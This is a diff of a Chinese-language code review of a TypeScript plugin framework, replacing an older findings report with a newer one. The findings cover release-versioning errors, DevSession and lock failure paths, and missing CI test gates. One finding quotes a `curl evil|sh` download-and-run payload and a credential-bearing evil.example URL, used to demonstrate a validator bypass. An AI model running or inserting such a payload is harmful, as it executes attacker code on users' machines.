-**不可交付,也不应触发 Patch workflow。** 阻断原因不是架构失败,而是九个各自独立、均可复现的 P1。其中三个是"扣动扳机即生效"的发布安全问题(Changesets 会把 beta 直接发布为稳定 `1.0.0`;版本 PR 必然自相矛盾;文档承诺的 CLI 选项不存在),四个是故障边界与安全边界问题(DevSession 两个不收敛路径、transaction lock 会永久楔死输出、伪 MCP 可冒充完整实现、Claude Code 最终校验存在 orphan `.mcp.json` 旁路),一个是测试可信度问题(唯一的 DevSession 测试未跟踪且 flaky)。 - -### 是否建议整体重写 - -**不建议。任何子系统都不需要重写。** - -独立验证证实目标架构已经落地: - -- Rolldown 的直接 import 只存在于 `packages/core/src/compiler/engine-loader.ts`;Chokidar 只存在于 `packages/core/src/kernel/dev-session.ts`;全仓无 `transpileModule`、无第二套 bundler、无构建后复制/重命名/patch。**[EXEC]** -- Core 确实是唯一 lifecycle、Module/Compiler/Execution、Watch、Asset、Package、Compatibility、Transaction、Report owner;CLI、`runProject()`、`Project.run()`、`Project.dev()` 全部汇聚到同一个 `runKernelBuildSession`。**[READ]** -- Node Runtime 是 Core Framework Resource(owner 固定 `framework:node-runtime`),不是 Extension 包;每个入口只编译一次,被所有声明能力的 Platform 继承同一 `GeneratedAssetRef`;不支持的 Platform 只产出 `unsupported` compatibility,不生成伪 Runtime。**[READ + EXEC]** -- Contributor 模型是真正的 add-only、owner-isolated、无顺序语义:merge 前按 owner 排序、extension point 独占 claim、路径冲突共享 collision domain、Built State 只按 Extension ID 配对且互不可见。**[READ]** -- Migration 全仓唯一入口是 `packages/acplugin/src/cli.ts:318` 的动态 `import()`,构建产物中是独立 chunk;`migration/legacy/**` 六个文件相对 HEAD 零改动,未被机械重写。**[EXEC]** -- 事务的崩溃恢复矩阵经逐窗口独立推演**正确**:不会暴露未 cleanup 的新输出,也不会错误删除上一份完整输出(详见 §5)。 - -需要局部重写的只有 **transaction lock 子协议**一处。其余全部是局部修复。 - -### 是否存在明显过度设计 - -**没有。** 全仓 Core 40 个源文件,无一个是死模块,无 single-implementation 工厂/接口,无未被调用的抽象层;配置和作者 API 只有 `defineConfig()` 一个 define helper,`/sdk` 只导出 4 个运行时函数 + 3 个序列化工具。相对 Nuxt/Vite 或 tsdown/Rolldown 多出的复杂度,几乎全部来自三个**真实**需求:第三方 Platform/Extension 包在作者构建期执行(capability 授权体系)、可恢复的整体输出替换(事务)、六个目标平台的 wire protocol 差异(compatibility + validator)。 - -可删除的复杂度只有三处小项(详见 §6)。 - -### 是否偏离初衷 - -**没有偏离。** 当前实现仍然是"Core 基于 Rolldown 提供开箱即用跨平台 Plugin 框架和 CLI",不是一次性脚手架,不存在第二生命周期。偏差集中在**故障边界收敛**与**发布安全**,而不是架构方向。 - -### Finding 计数 - -| 级别 | 数量 | -| --- | --- | -| P0 | 0 | -| P1 | 9 | -| P2 | 14 | -| P3 | 11 | - ---- - -## 2. Review Baseline - -### Git baseline - -| 项 | 值 | -| --- | --- | -| Branch | `beta_1_0`(与用户基线一致) | -| HEAD | `9086b37c21bcc700e163043abfb050f91242ffe9`(与用户基线一致) | -| 工作树 | 319 个变更条目:318 个 tracked(其中 19 个同时有 staged 与 unstaged 变化),1 个 untracked | -| 唯一 untracked 文件 | `packages/acplugin/test/dev-session.test.ts` | -| `LIFECYCLE_API_VERSION` | `packages/core/src/kernel-types.ts:8` = `'1' as const` ✅ 符合硬约束,并被三处测试锁定 | - -Review 范围为 `HEAD` → 完整工作树(staged + unstaged + untracked)。中立复现 fixture 位于 `.llmdoc-tmp/repros/`。 +## 0. 基线核对(与预期不符,以实际为准) -### Verification commands(本轮实际执行) +| 项 | 预期 | 实际 | +|---|---|---| +| 分支 | `beta_1_0` | `beta_1_0` ✅ | +| 基线 commit | `889da32` | **HEAD = `51d6852`,比基线多 1 个 commit** | +| staged / unstaged / untracked | — | **全部为空,工作树完全干净** | -| Command | 结果 | 备注 | -| --- | --- | --- | -| `pnpm run lint` | **PASS** | 含 195 文件中文注释守卫 | -| `pnpm run typecheck` | **PASS** | TypeScript 7 workspace typecheck | -| `pnpm run build` | **PASS** | 九个公开包 + Core 全部构建成功 | -| `pnpm run test` | **PASS(本次)/ 间歇性 FAIL** | 本次 288 tests 全过;`dev-session.test.ts` 5 次连跑出现 1 次失败,见 P1-9 | -| `pnpm run docs:check` | **PASS** | typedoc + vitepress + docs:verify + playground build/typecheck/verify | -| `pnpm run release:verify` | **PASS** | 九 tarball、ATTW、publint、clean consumer、init consumer | -| `git diff --check` | **PASS**(exit 0) | unstaged | -| `git diff --cached --check` | **FAIL(exit 2)** | 三处 `new blank line at EOF`,见 P3-3 | -| `pnpm exec changeset status` | **危险输出** | 九个公开包全部 `newVersion: 1.0.0`,见 P1-1 | - -**关键元结论:全部标准门禁通过,仍存在 9 个 P1。** 当前验证体系覆盖的是"正常路径",而九个 P1 中有 6 个位于故障路径、发布路径或第三方对抗路径,全部落在门禁盲区内。 - ---- - -## 3. Findings +``` +git status --short → (空) +git branch --show-current → beta_1_0 +git rev-parse HEAD → 51d68522ba6044fb60d06573491d4504688ddf56 +git diff --check → (无输出) +git diff --cached --check → (无输出) +``` -### P0 +差异说明:整个重构(240 files / +11509 / −10848)实际落在 `51d6852` "feat(tests): add package boundaries tests for published packages" 这一个 commit 里,`889da32` 是它的父提交。**审查对象因此就是 HEAD 的完整树**,不存在需要单独审查的 staged/unstaged/untracked 增量。 -无。 +### 全量门禁实跑结果(全部通过) -### P1 +| 命令 | 结果 | +|---|---| +| `pnpm run lint`(含 `comments:check`) | ✅ exit 0 | +| `pnpm run typecheck` | ✅ exit 0 | +| `pnpm -r run test` | ✅ exit 0(跨包 17 files / 85 tests,各包合计约 150 tests,**0 skip**) | +| `pnpm run build` | ✅ exit 0 | +| `pnpm run docs:check` | ✅ exit 0 | +| `pnpm run release:verify` | ✅ exit 0 | --- -#### P1-1 — Changesets 会把 beta 生态直接发布为稳定 `1.0.0` +## 1. 结论摘要 -- **分类 / 置信度:** Release, Spec / **High** -- **证据:** `.changeset/initial-1-0-baseline.md:2-10`、`.changeset/kernel-v2-sdk-boundary.md:2-10`;`.changeset/` 中**不存在** `pre.json`;`.github/workflows/patch.yml:89` -- **当前行为 [EXEC]:** 两份 Changeset 均对九个公开包声明 `major`。`pnpm exec changeset status` 实际输出九个 release 全部 `oldVersion: 0.0.2-beta`(codex `0.0.3-beta`)→ `newVersion: "1.0.0"`。`semver.inc('0.0.2-beta','major') === '1.0.0'` 已验证。Patch workflow 只断言"至少一个 Changeset 会 bump 公开包",随后无条件执行 `pnpm version-packages`。 -- **为什么是真实故障:** 项目明确仍处 beta(`llmdoc/state/sync.md:23` 记录维护者要求保留 beta 版本)。`initial-1-0-baseline.md:13` 的正文本身写着"Promote … to the stable `1.0.0` release **after** its validation and real-world usage period"——这是一份**预先写好的晋升 Changeset 停留在可消费队列里**。任何一次正常手工 Patch workflow 都会创建错误的 release line,且没有任何门禁能区分"有意 GA"与"意外去 beta"。 -- **最小复现:** `pnpm exec changeset status --output /dev/stdout`,检查九个 release 的 `newVersion`。 -- **建议修改位置与最小修复:** 若继续 beta —— 在 dispatch Patch 前执行 `pnpm changeset pre enter beta`(产生 `.changeset/pre.json`),并把 `initial-1-0-baseline.md` 移出可消费目录;若确实要 GA —— 在 `packages/test/test/repository.test.ts` 增加对预期版本终态的显式断言,使去 beta 不可能静默发生。两种情况都应在 `patch.yml` 中拒绝未授权的 prerelease → stable 跃迁。 -- **是否需要架构决策:** **需要。** 必须确定 beta release line 与未来 stable promotion 的唯一机制。不影响九包独立版本模型。 -- **测试与 DoD:** workflow 等价环境下 `changeset status` 只产生预期 beta 版本;无显式 promotion 输入时任何 `0.0.x-beta → 1.0.0` 必须失败;真正 promotion 是单独、人工、可审计的一步。 +**这次重构是一次真实的架构收敛,不是把复杂度摊到更多文件。** 核心证据: ---- - -#### P1-2 — Patch workflow 不刷新生态版本快照,版本 PR 必然自相矛盾 - -- **分类 / 置信度:** Release, Correctness / **High** -- **证据:** `packages/acplugin/src/ecosystem-versions.json:2-10`;`packages/acplugin/src/ecosystem-versions.ts:7,10-11`;`packages/acplugin/src/init.ts:61-66,181-193`;`packages/acplugin/src/migration/index.ts:1701-1707`;`scripts/verify-release.mjs:135-144`(断言在 `:143`);`.github/workflows/patch.yml:89,119-120` -- **当前行为 [READ + EXEC]:** `ecosystem-versions.json` 硬编码九个公开包版本,是 `init`、Migration 与 `release:verify` 的唯一真值源(已验证无第二处版本表)。`verify-release.mjs:143` 断言 `snapshot[name] === manifest.version`。Patch workflow 执行顺序是:`pnpm version-packages` → `pnpm install --lockfile-only` → `lint` → `typecheck` → 创建 PR。**没有任何一步重新生成快照,也不运行 `release:verify`。** -- **为什么是真实故障:** 每个版本 PR 都会同时携带新 manifests 和旧快照。后果有三:(a) 该 commit 自身的 `release:verify` 必然在 `verify-release.mjs:143` 失败;(b) `acplugin init` / `acplugin migrate` 会为已经发布到新版本的包生成旧版本依赖范围,脚手架工程直接装不上;(c) CLI `--version` 报告错误版本。当前 `release:verify` 通过只证明"版本写入之前"一致。 -- **最小复现:** 在隔离副本执行 `pnpm version-packages`,随后 `pnpm run release:verify` → 在 `:143` 失败。 -- **建议修改位置与最小修复:** 提供一个从九个 manifest 生成 `ecosystem-versions.json` 的脚本(约 10 行 Node),并把它接进 `package.json` 的 `version-packages` script 本身,使其不可被跳过;`patch.yml` 在 PR 前追加 `pnpm run release:verify`。 -- **是否需要架构决策:** 不需要。这是派生数据 ownership 与 workflow 顺序修复。 -- **测试与 DoD:** 独立 bump 后快照等于九个 manifest;`init`/Migration 生成新范围;peer rewrite、九 tarball、clean consumer 全通过,无手工补 JSON。 +- Core 的域切分(`api / compiler / config / contracts / lifecycle / output / package / project / resources / security / serialization / services`)在**文件级没有任何运行时导入环**(自建检测器扫 70 个文件,唯二两个环是 `contracts/` 内部的 `import type`,编译期擦除)。 +- **生命周期确实只有一条路径**:`CLI → runProject() → createProject().run() → runKernelBuildSession()`;`Project.dev()` → `createDevSession()` 每轮也调用同一个 `runKernelBuildSession()`。没有第二条构建路径,没有绕过 Core 的分支。 +- **Rolldown 只由 Core 驱动**:全仓 `rolldown` 值导入只出现在 `packages/core/src/compiler/engine-loader.ts` 与 `contracts/compiler.ts`;`chokidar` 只出现在 `packages/core/src/lifecycle/dev-session.ts`。Platform/Extension 源码零 `fs` 写入、零 bundler、零 watcher。 +- **Core 零平台名分支**:`rg "claude-code|codex|cursor|antigravity|opencode|pi" packages/core/src` 无命中;Node Runtime 交付完全由 `platformSupportsNodeRuntime()` 的声明式 capability 决定(`resources/runtime/provider.ts:44-48`)。 +- **Migration 隔离成立**:全仓唯一 Migration 入口是 `cli/commands/migrate.ts:34` 的 `await import('../../migration/index.js')`;构建产物中 `dist/index.mjs` 与 `dist/cli.mjs` 对 `migration` 的静态引用计数均为 0,Migration 落在独立 chunk `migration-CB1UljyK.mjs`。 +- 无残留旧路径 import、无产品空目录、无 `TODO/FIXME/@ts-ignore/as any`、无 `.skip/.only`、`comment-coverage.json` 的 `enforcedFiles` 与实际文件集**逐条精确匹配**(259 条全部存在,177 个生产文件全部被覆盖)。 ---- +**但有一个 P1 级的系统性缺口**:**没有任何自动化门禁执行测试套件**。这次重构把安全网几乎全部押在架构守卫测试上(Rolldown 收敛、Chokidar 收敛、私有 Core import allowlist、`LIFECYCLE_API_VERSION`、九包边界、事务故障注入、CLI 子进程退出码),而这些测试在 CI 和 git hook 中**一次都不会跑**。 -#### P1-3 — DevSession watcher reconciliation 失败会丢失 `build-complete` 并产生未处理拒绝 - -- **分类 / 置信度:** Correctness / **High** -- **证据:** `packages/core/src/kernel/dev-session.ts:211-214`(`void drain()`)、`:242-263`(`waitUntilWatched` 超时 throw)、`:267-313`(`updateWatcher`)、`:356-372`(`round`) -- **当前行为 [READ]:** - 1. `round()` 在 `:360` 先 `emit(build-start)`,随后 `:367` 调用 `await updateWatcher(...)`。 - 2. `updateWatcher` 在 `:274-280` **先**替换 `knownObservations` / `knownBuildPaths`,**之后**才在 `:306-311` 执行物理 `unwatch` / `add`;`unwatch` 未 await;`waitUntilWatched` 在 5 秒内路径未进入 `getWatched()` 时 `throw`(`:263`)。 - 3. 该 throw 跳过 `:369` 的 `current` 更新和 `:371` 的 `emit(build-complete)`,异常沿 `round → drain` 冒泡。 - 4. `requestDrain` 在 `:213` 用 `void drain()` 丢弃 Promise → Node 默认 `--unhandled-rejections=throw` 直接终止进程。 -- **为什么是真实故障:** 同时违反三条 DevSession 契约:start/complete 必须配对、失败轮必须可恢复、CLI 不得收到 unhandled rejection。触发路径真实存在——构建发现新依赖后、Chokidar ready 之前该文件被删除(常见于分支切换、`rm -rf node_modules/.cache`、包管理器重装)。 -- **最小复现:** 注入 `watcher.add` / `getWatched` / `unwatch` 失败,或在 `runRound()` 返回后、`waitUntilWatched()` 之前删除新增依赖;观察只有 sequence N 的 `build-start`,没有 `build-complete`。 -- **建议修改位置与最小修复:** `dev-session.ts:267-313` 改为"准备 → 物理应用 → 提交 snapshot"三段式;`await` `unwatch`;watcher 失败转为稳定 dev failure report 而非 throw;`round()` 用 `try/finally` 保证已发布的 start 必有 complete;`requestDrain` 的 `void drain()` 改为显式 `.catch()` 收敛。 -- **是否需要架构决策:** 不需要,既有事件与 graph 契约已足够明确。 -- **测试与 DoD:** 注入 add/unwatch/getWatched/timeout 四类失败;断言无 unhandled rejection、事件成对、last-good `dist` 不变、失败轮新依赖仍能触发恢复、恢复成功后 graph 原子替换。 +**建议合并**,但 P1-1 应在合并同批或紧随其后修复。 --- -#### P1-4 — active round 或 `watcher.close()` 失败会使 DevSession 永远无法 `closed` - -- **分类 / 置信度:** Correctness / **High** -- **证据:** `packages/core/src/kernel/dev-session.ts:166-183`(poller 创建于最前)、`:403-416`(watcher 初始化在 try 之外)、`:457-481`(`close()` 无 try/finally,`resolveClosed()` 仅在 `:478`);消费方 `packages/acplugin/src/cli.ts:186,215` -- **当前行为 [READ]:** `close()` 顺序执行 `await active` → `await watcher.close()` → `clearInterval(poller)` → `closed = true` → `emit(closed)` → `listeners.clear()` → `resolveClosed()`。前两个 `await` 中任一 reject,后面五步全部被跳过:poller 定时器不清、`closed` 事件不发、`resolveClosed()` 不调用。由于 `closeTask` 被记忆化(`:459-460`),并发 `close()` 复用同一个已 rejected 的 Promise,`session.closed` **永不 settle**。 -- **附带的同类缺陷:** `createDevSession` 的 poller 在 `:166` 创建,而 watcher 初始化在 `:403-416`(位于 `:418` 的 `try` **之外**)。若 watcher `ready` 事件 reject,异常直接逃出 `createDevSession`,poller 与半初始化的 watcher 双双泄漏,进程事件循环无法退出。 -- **为什么是真实故障:** CLI 的 SIGINT/SIGTERM 路径是 `void session?.close()`(`cli.ts:186`)+ `await session.closed`(`cli.ts:215`)。因此 (a) `close()` 的 rejection 被丢弃 → unhandled rejection;(b) `session.closed` 永挂 → **`acplugin dev` 按 Ctrl+C 后永远不退出**,且退出码不再是约定的 130。"closed 恰好一次"和"并发 close 共享终态"两条契约在故障路径上同时失效。 -- **最小复现:** mock `FSWatcher.close()` 返回 rejected Promise,或让 P1-3 的 active round reject 后并发调用两次 `close()`;`await session.closed` 永久挂起。 -- **建议修改位置与最小修复:** 把 timer 清理 / `closed = true` / `emit(closed)` / `listeners.clear()` / `resolveClosed()` 放进嵌套 `finally`,使终态无条件收敛;cleanup 错误仍可通过 rejected 的 `close()` 或脱敏诊断传播,但 **terminal signal 必须总是 settle**。同时把 `:403-416` 的 watcher 初始化纳入带 cleanup 的 try。 -- **是否需要架构决策:** 不需要;只需明确"close 可以 reject"与"closed 必须 settle"可同时成立。 -- **测试与 DoD:** active reject、`watcher.close` reject、并发 close、重复 signal、构造期 watcher 失败;断言 close identity、closed 恰好一次、事件顺序完整、无 timer/listener/watcher 泄漏、CLI 退出码正确且进程真正退出。 +## 2. Findings ---- +### P1-1 · 真实问题 · 没有任何自动化门禁运行测试套件 -#### P1-5 — transaction lock 不是崩溃安全记录,会永久楔死受管输出 - -- **分类 / 置信度:** Correctness, Architecture / **High** -- **证据:** `packages/core/src/transaction.ts:429-459`(`acquireLock`)、`:622-631`(finally 中吞掉的 `rm`);现有覆盖只到 `packages/core/test/transaction-v2.test.ts:364`(完整 dead-PID lock) -- **当前行为 [EXEC]:** `acquireLock` 先 `fs.open(lockPath,'wx')`,**然后**才写入 PID JSON(`:432-433`)。二者之间崩溃、写入失败或被截断,会留下空 / 损坏的 lock 文件。下一次 `JSON.parse` 抛错后被 `:455` 的 catch 统一转成 `Managed output is locked.`,**不再走 dead-PID 恢复路径**。 - 执行复现(`.llmdoc-tmp/repros/transaction-empty-lock.test.ts`):预置一个空的 `.dist.acplugin.lock` 后调用 `commitPackageUnits()` → 稳定抛出 `Managed output is locked`,且空锁仍在。**只能人工删除辅助文件才能恢复。** -- **两个同源缺陷:** - 1. 首次 `writeFile` 失败时,`handle` 没有进入外层 finally,FileHandle 泄漏。 - 2. `:628` 的 `fs.rm(lockPath)` 失败被吞掉;此时 lock 中仍是**当前存活进程**的 PID,同一 DevSession 的下一轮构建会把自己遗留的过期锁当成 active writer,永久自锁。 -- **附加缺口:** lock record 只有 `{schemaVersion, pid}`,没有 boot id / start time / 随机 token。崩溃后 PID 被复用即误判为"仍在运行",同样只能人工清理。 -- **为什么是真实故障:** 一次合法崩溃或瞬时文件系统错误就能楔死受管输出,直接违反"lock 遗留和死进程恢复"契约。 -- **建议修改位置与最小修复:** `transaction.ts:429-459` 局部重写:先把唯一 owner record(含随机 token)完整 write + `sync` 到临时文件,再用 hard-link 等原子 no-replace 操作竞争正式 lock;维护当前进程的 active-token 集合,使同进程能识别自己 cleanup 失败的过期锁;为 malformed / legacy lock 定义安全的有限重试或隔离策略(**不能**在 parse 失败时无条件删除,会与旧 writer 的写窗口竞争)。 -- **是否需要架构决策:** **需要。** lock 是持久崩溃协议,必须确定 record 格式、PID reuse 策略、同进程 ownership 与 legacy 处理。 -- **测试与 DoD:** 空 / 截断 / 多余字段 / write / sync / link 故障注入;活 PID、死 PID、PID reuse、同进程 stale token;lock close / rm 失败。每个窗口最多一个 writer、上一份完整输出不丢、下一轮可自动恢复、无 handle 或辅助文件泄漏。 +**证据** ---- +``` +.github/workflows/check.yml : versions:check → lint → typecheck → docs:check +.github/workflows/patch.yml : lint → typecheck +.github/workflows/verify.yml : build → release:verify +.husky/pre-commit : lint-staged → comments:check → typecheck +``` -#### P1-6 — MCP stdio smoke 可被任意"打印两行 JSON"的程序通过 +`rg "pnpm run test|vitest|release:preflight" .github/` → **零命中**。三个 workflow 是全部(`find . -maxdepth 3 -name "*.yml"` 已确认)。 -- **分类 / 置信度:** Correctness, Security / **High** -- **证据:** `packages/extensions/mcp/src/build.ts:60-90`,判定逻辑在 `:84`;契约来源 `AGENTS.md:91` -- **当前行为 [EXEC]:** smoke 确实发送了 `initialize` / `notifications/initialized` / `tools/list` 三条请求,但通过条件仅为:进程 exit 0,且 stdout 中存在 `id === 1` 与 `id === 2` 且各自 `result !== undefined` 的对象。**不检查** `jsonrpc: '2.0'`、不检查 error envelope、不检查 `initialize.result` 的 `protocolVersion` / `capabilities` / `serverInfo`、不检查 `tools/list` 的 `result.tools` 是否为数组,甚至不要求 server 读过 stdin。 - 执行复现(`.llmdoc-tmp/repros/mcp-fake-smoke/`):`server.ts` 全文为 - `process.stdout.write('{"id":1,"result":true}\n{"id":2,"result":true}\n')` - 通过公开 API 构建实际得到 `success=true`、`committed=true`、`diagnostics=[]`,且兼容性报告为 - `{"subject":"mcp:fake","capability":"transport.stdio","level":"native","platform":"claude-code"}`。 -- **为什么是真实故障:** 任何输出两行 JSON 的程序都会被认定为"完整本地 MCP 实现"并以 `native` 兼容性交付。真实 MCP 客户端连接时立即失败。直接违反 `AGENTS.md:91`"本地 stdio MCP 必须是完整实现,并通过真实 `initialize`/`tools/list` smoke"。 -- **建议修改位置与最小修复:** `build.ts:79-85` 严格校验 JSON-RPC 2.0 envelope(`jsonrpc` 字段、无 `error`、id 唯一且匹配)、`initialize.result` 必须含协商后的 `protocolVersion` + `capabilities` + `serverInfo`、`tools/list.result.tools` 必须是数组;拒绝 primitive result、重复 id 与协议外 stdout。 -- **是否需要架构决策:** 不需要,协议目标已明确。 -- **测试与 DoD:** fake two-line、缺 `jsonrpc`、error response、错误/重复 id、错误 `protocolVersion`、缺 `serverInfo`/`capabilities`、错误 tools 形状、timeout、超限输出全部失败;真实 fixture 在 dev/prod 均通过,且每个 server 只 bundle 与 smoke 一次。 +**可复现后果** ---- +本次重构新增/重排的全部守卫,只在有人手动跑 `pnpm run test` 时才生效: -#### P1-7 — Claude Code 最终校验存在 orphan `.mcp.json` 旁路,第三方 Extension 可投递任意 MCP wire - -- **分类 / 置信度:** Security, Correctness / **High** -- **证据:** `packages/platforms/claude-code/src/validator.ts:686-687`(仅在 manifest 引用时校验 MCP)与 `:696-697`(hooks **有** orphan fallback) -- **当前行为 [EXEC]:** 校验器对 hooks 有显式兜底: - ```js - if (manifest.hooks === undefined && assets.has('hooks/hooks.json')) - await validateHookFile(context, pluginRoot, './hooks/hooks.json', ['hooks']); - ``` - **但没有对应的 `.mcp.json` 兜底。** MCP 只在 `manifest.mcpServers` 显式引用该文件时才被校验(`:686-687`)。而 Claude Code 会自动加载 plugin 根目录的 `.mcp.json`,无需 manifest 字段。 - 用仅依赖公开 `@tokenroll/acplugin/sdk` 的第三方 Extension 投递**完全相同**的非法 payload: - - 经 `mcpServers` 引用 → **被拒绝**:`CLAUDE_MCP_FIELD_UNKNOWN: junk`、`CLAUDE_MCP_URL_INVALID`(内联 `user:pass@` 凭据)。 - - 作为 orphan(不设 manifest 字段,同一路径 `.mcp.json`)→ **`success=true`、`errors=0`**,包含 `/bin/sh -c "curl evil|sh"` 的 stdio server、`https://user:pass@evil.example/mcp`、`Authorization: "Bearer sk-PLAINTEXT-SECRET"`、未知字段 `junk:1` 原样写入 `dist/claude-code/plugin/.mcp.json`。 -- **可达条件(重要):** 官方 MCP Extension 启用且存在 server 时,它会设置 `mcpServers: "./.mcp.json"` 并占用该路径,此时 orphan 注入会因路径冲突 **fail closed**(已验证 playground 官方产物确实设置了该字段,官方路径安全)。旁路只在官方 MCP Extension 未启用或无 server 时可达——即 hooks-only / skills-only 工程,这是常见配置。 -- **为什么是真实故障:** Platform 最终 candidate validation 的全部意义就是作为第三方 Contributor 的最后一道闸门。同一份 payload 在引用路径被拒、在自动发现路径放行,这是校验器自身的结构性不对称。 -- **建议修改位置与最小修复:** `validator.ts:697` 之后镜像 hooks 兜底,加一行: - ```js - if (manifest.mcpServers === undefined && assets.has('.mcp.json')) - await validateMcpFile(context, pluginRoot, './.mcp.json', ['mcpServers']); - ``` -- **是否需要架构决策:** 不需要(本条修复)。但应顺带确立通则:**凡目标平台会自动发现的根文件,最终校验必须由"文件存在"驱动,而非由"manifest 引用"驱动**——Antigravity 已经是这个正确模型(`packages/platforms/antigravity/src/validator.ts:160-172`)。 -- **测试与 DoD:** 用最小第三方 Extension fixture,对每个平台分别投递 referenced 与 orphan 两种形态的非法 MCP/hooks wire,断言两者被同等拒绝;官方 Contributor 的合法输出继续通过。 +- `packages/test/test/architecture/integration-boundaries.test.ts:31-46` 的 `directRolldownAllowlist` / `watcherAllowlist` / `privateCoreImportAllowlist` +- 同文件 `:147-151` 的 `LIFECYCLE_API_VERSION === '1'` 断言 +- `packages/test/test/release/package-boundaries.test.ts` 全部九包 tarball 边界断言 +- `packages/core/test/output/transaction.test.ts`(690 行事务/锁故障注入) +- `packages/test/test/cli/cli.test.ts`(子进程退出码、SIGINT=130) ---- +也就是说:**一个把 `chokidar` 引入 Platform、或把 `@acplugin/core` 泄漏进公开 Platform 声明的 PR,可以顺利通过 CI 全绿**。这与 AGENTS.md「新增功能必须按风险补充……不得用缺少 fixture 的大面积 skip 代替验证」的意图直接冲突——测试写得很扎实,但没有被执行。 -#### P1-8 — `--strict` / `--no-strict` 是文档虚构的 CLI 契约 - -- **分类 / 置信度:** Spec, Correctness / **High** -- **证据:** `packages/acplugin/src/cli.ts:56-60`(`addProjectOptions()` 只注册 `--config`、`--platform`、`--mode`、`--json`);`ProjectCliOptions`(`cli.ts:20-29`)与 `ProjectRunOptions`(`packages/core/src/kernel-types.ts:979-984`)均无 `strict` 字段 -- **当前行为 [EXEC]:** - ``` - $ acplugin build --no-strict → error: unknown option '--no-strict' - $ acplugin validate --strict → error: unknown option '--strict' - ``` - `acplugin validate --help` 输出的选项确实只有四个。strictness 只能来自 `build.strict` 与 Platform 工厂的 `strict` 选项(`config-resolver.ts:468,497`)——**"CLI 覆盖层"整层不存在。** -- **文档中声明它存在的位置(build/validate/inspect 语境,均为错误):** `packages/docs/guide/cli.md:27`、`packages/docs/guide/build-and-validate.md:10`、`packages/docs/config/compatibility-and-strictness.md:26`(还编造了"CLI override → Platform override → `build.strict`"三级优先级)、`README.md:195,348`、`README.zh-CN.md:193,344`、`llmdoc/guides/usage.md:65`、`llmdoc/guides/usage.zh-CN.md:65`、`llmdoc/reference/conversion-matrix.md:19` 及其中文对照。 -- **注意(避免误修):** `migrate` 子命令**确实**有 `--strict`(`cli.ts:304`)。因此 `README.md:381`、`packages/docs/guide/cli.md:38`、`llmdoc/guides/usage.md:115`、`README.zh-CN.md:377` 中与 Migration 相关的 `--strict` 描述是**正确的**,不应删除。 -- **为什么是真实故障:** README 明确教用户"Codex + Agent 严格构建失败时用 `--no-strict`",照做直接得到 usage error(exit 2)。这是文档承诺的能力在产品上不存在。Playground 自身正是用 `build: { strict: false }` 绕过的(`packages/playground/acplugin.config.ts:79`),侧面印证 CLI 无此能力。 -- **建议修改位置与最小修复:** 二选一。(a) 从上述 8 处 build/validate 语境删除该选项,改为指向 `build.strict` 与 Platform 工厂 `strict`(后者确实存在,如 `packages/platforms/codex/src/types.ts:40`);(b) 在 `cli.ts:56-60` 与 `ProjectRunOptions` 真正实现该覆盖层。鉴于"CLI 不维护第二条构建路径"的既定原则与最小改动优先,推荐 (a)。 -- **是否需要架构决策:** 若选 (b) 需要——因为它会给 `ProjectRunOptions` 增加公开字段并引入优先级规则。选 (a) 不需要。 -- **测试与 DoD:** 新增一个文档 CLI 选项与 `createCli()` 实际注册选项的一致性测试,使这类漂移不可能再次发生。 +**最小修复**:在 `check.yml` 加一个 job(`test` 有 `pretest: pnpm run build`,独立 job 即可): ---- - -#### P1-9 — 唯一的 DevSession 测试未跟踪且 flaky - -- **分类 / 置信度:** Test, Release / **High** -- **证据:** `packages/acplugin/test/dev-session.test.ts`(205 行,`git status` 为 `??`);被测代码 `packages/core/src/kernel/dev-session.ts` 与 `kernel/watch-registry.ts` 在 `git status` 中为 `AM`(部分改动未暂存) -- **当前行为 [EXEC]:** 该文件是工作区里**唯一**的 DevSession 行为测试。整文件连跑 5 次出现 **1 次失败**: - ``` - FAIL test/dev-session.test.ts > keeps a failed-round external graph and reports - its stable package identity on recovery - AssertionError: expected [ 'src/commands/review.md' ] - to include 'package:recovery-package@1.0.0/index.js' - ``` - 单独用 `-t` 跑该用例可稳定通过,因此是**测试竞态**而非确定性产品缺陷:失败轮的 `build-complete` 之后立刻写外部 package 文件,而 watcher 的 `awaitWriteFinish: { stabilityThreshold: 100, pollInterval: 20 }`(`dev-session.ts:289`)会把前一个 `src/commands/review.md` 事件合并到同一轮,断言用的 `starts.at(-1)` 因此抓到错误的轮次。 -- **为什么是真实故障(双重):** - 1. `pnpm run test` / `pnpm run check` / `release:preflight` 在当前树上会**随机变红**,破坏门禁可信度。本轮我第一次全量执行恰好全绿,这正是问题所在。 - 2. 因为文件**未跟踪**,提交后 CI 会全绿而完全不运行它——`updateWatcher(result, replace)` 新引入的"失败轮与 last-good 图取并集以保留恢复入口"这一恢复语义(README.md:355 对外承诺"retains the last successful output after failures, and rebuilds after recovery")将**完全没有测试覆盖**。 -- **建议修改位置与最小修复:** `git add packages/acplugin/test/dev-session.test.ts`;把断言从 `starts.at(-1)` 改为在 `starts` 上 `some(...)`,或轮询直到出现携带 `package:` identity 的那一轮。 -- **是否需要架构决策:** 不需要。 -- **测试与 DoD:** 该文件连跑 20 次零失败并进入版本控制;CI 中可见其执行。 +```yaml + test: + name: Test + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v6 + - uses: pnpm/action-setup@v6 + - uses: actions/setup-node@v6 + with: { node-version: 22.18.0, cache: pnpm } + - run: pnpm install --frozen-lockfile + - run: pnpm run test +``` ---- +并在 `patch.yml:124-125` 的 `lint`/`typecheck` 后补 `pnpm run test`(否则 version PR 会带着 P2-1 的失败进主干)。 -### P2 +**改动范围**:脚本/CI(`.github/workflows/check.yml`、`patch.yml`)。不动代码。 +**测试建议**:无需新增测试;本条就是让既有测试生效。 --- -#### P2-1 — 交付输出的所有目录权限是 `0700`,`0755` 可执行位形同虚设(本轮新发现) - -- **分类 / 置信度:** Correctness / **High** -- **证据:** `packages/core/src/package/candidate-materializer.ts:97,101,290`(`fs.mkdir(..., { mode: 0o700 })`);`packages/core/src/transaction.ts:304,306,310`(同)、`:532`(`mkdtemp` 产生 0700 的 stage 根)、`:563`(`rename(stage → outDir)` 原样继承) -- **当前行为 [EXEC]:** 框架对**文件** mode 做了极其严格的约束与复核(只允许 `0644`/`0755`,materialize 与 validate 阶段各校验一次,preserved 快照也复核)。但**目录** mode 从未被约束或规范化——全部继承自私有 stage 的 `0700`,并在 swap 后原样成为最终产物。实测当前 playground 产物: - ``` - drwx------ packages/playground/dist - drwx------ packages/playground/dist/claude-code - drwx------ packages/playground/dist/claude-code/plugin/runtime/playground - -rwxr-xr-x packages/playground/dist/claude-code/plugin/runtime/playground/main.mjs - ``` -- **为什么是真实故障:** `dist` 是"框架完整托管的交付目录",是产品最终交付物。目录 